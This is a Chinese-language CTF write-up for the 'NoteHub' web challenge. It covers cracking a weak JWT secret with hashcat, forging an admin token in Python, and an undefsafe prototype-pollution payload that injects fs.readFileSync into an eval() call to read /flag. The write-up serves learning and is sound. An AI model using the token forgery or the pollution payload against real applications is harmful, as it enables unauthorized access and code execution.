WEB 污染鏈 JWT DesCTF-NoteHub GHSC 2026-03-12 2026-03-12 前言: 之前ns有出過污染鏈但是沒解出來 , 這次靠ai大人學習了一下污染鏈流程
NoteHub 分析一下source.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const undefsafe = require('undefsafe'); const jwt = require("jsonwebtoken"); const secretKey = "???"; class Notes { constructor() { this.id = 0; this.title = "Title"; this.author = "Author"; this.note = {}; } addNote(id, author, content) { this.note[(id).toString()] = { "author": author, "content": content }; if (id) { undefsafe(this.note, id + '.author', author); let commands = { "runner": "1+1", }; for (let index in commands) { eval(commands[index]); } } } showNote(id) { // ... } showAll() { // ... } }
secretKey = ???
一個sign in 介面 ,
登入頁送 POST /login 之後 ,後端會回一個token,它存進 cookie:
用hashcat:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 (base) ghsc@DESKTOP-JDO3EH1:~$ hashcat -m 16500 jwt.txt -a 3 ?a?a?a?a hashcat (v7.0.0) starting clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR nvmlDeviceGetFanSpeed(): Not Supported CUDA API (CUDA 13.1) ==================== * Device #01: NVIDIA GeForce RTX 4060 Laptop GPU, 7096/8187 MB, 24MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Optimizers applied: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt * Brute-Force Watchdog: Temperature abort trigger set to 90c Host memory allocated for this attack: 2438 MB (13942 MB free) eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzcyOTU5MTA0LCJleHAiOjE3NzI5NjI3MDR9.iciGMG9G4mwJ0dq3bWmBz5KD33dh9rD1Vr6tmfibWH8:aB3x Session..........: hashcat Status...........: Cracked Hash.Mode........: 16500 (JWT (JSON Web Token)) Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...fibWH8 Time.Started.....: Sun Mar 8 16:39:36 2026 (0 secs) Time.Estimated...: Sun Mar 8 16:39:36 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Mask.......: ?a?a?a?a [4] Guess.Queue......: 1/1 (100.00%) Speed.#01........: 456.8 MH/s (5.58ms) @ Accel:10 Loops:64 Thr:256 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 27279360/81450625 (33.49%) Rejected.........: 0/27279360 (0.00%) Restore.Point....: 245760/857375 (28.66%) Restore.Sub.#01..: Salt:0 Amplifier:0-64 Iteration:0-64 Candidate.Engine.: Device Generator Candidates.#01...: s>KJ -> QZ.v Hardware.Mon.#01.: Temp: 52c Util: 97% Core:2520MHz Mem:8000MHz Bus:8 Started: Sun Mar 8 16:39:28 2026 Stopped: Sun Mar 8 16:39:36 2026
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaWF0IjoxNzcyOTU5MTA0LCJleHAiOjE3NzI5NjI3MDR9.iciGMG9G4mwJ0dq3bWmBz5KD33dh9rD1Vr6tmfibWH8:aB3x
JWT secret = aB3x
偽造 admin token:
1 2 3 4 5 6 7 8 9 10 11 import jwtpayload = { "username" : "admin" , "iat" : 1772959104 , "exp" : 1772962704 } token = jwt.encode(payload, "aB3x" , algorithm="HS256" ) print (token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzcyOTU5MTA0LCJleHAiOjE3NzI5NjI3MDR9.SfKP-OE-xzRVTXchnyLq-AWVKVY5no-7LM9pMRdFGAs
進 /write 觸發 prototype pollution + eval(),讀出 /flag
後端對應到 source.js 的這段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 addNote (id, author, content ) { this .note [(id).toString ()] = { "author" : author, "content" : content }; if (id) { undefsafe (this .note , id + '.author' , author); let commands = { "runner" : "1+1" , }; for (let index in commands) { eval (commands[index]); } } }
undefsafe漏洞 : 可以向全局對象的原型中注入一个属性
利用 constructor.prototype 去污染原型
1 2 3 4 5 { "id": "constructor.prototype", "author": "this.note[\"F1\"]={author:require(\"f\"+\"s\")[\"readFile\"+\"Sync\"](\"/fl\"+\"ag\",\"utf8\"),content:\"ok\"}", "content": "x" }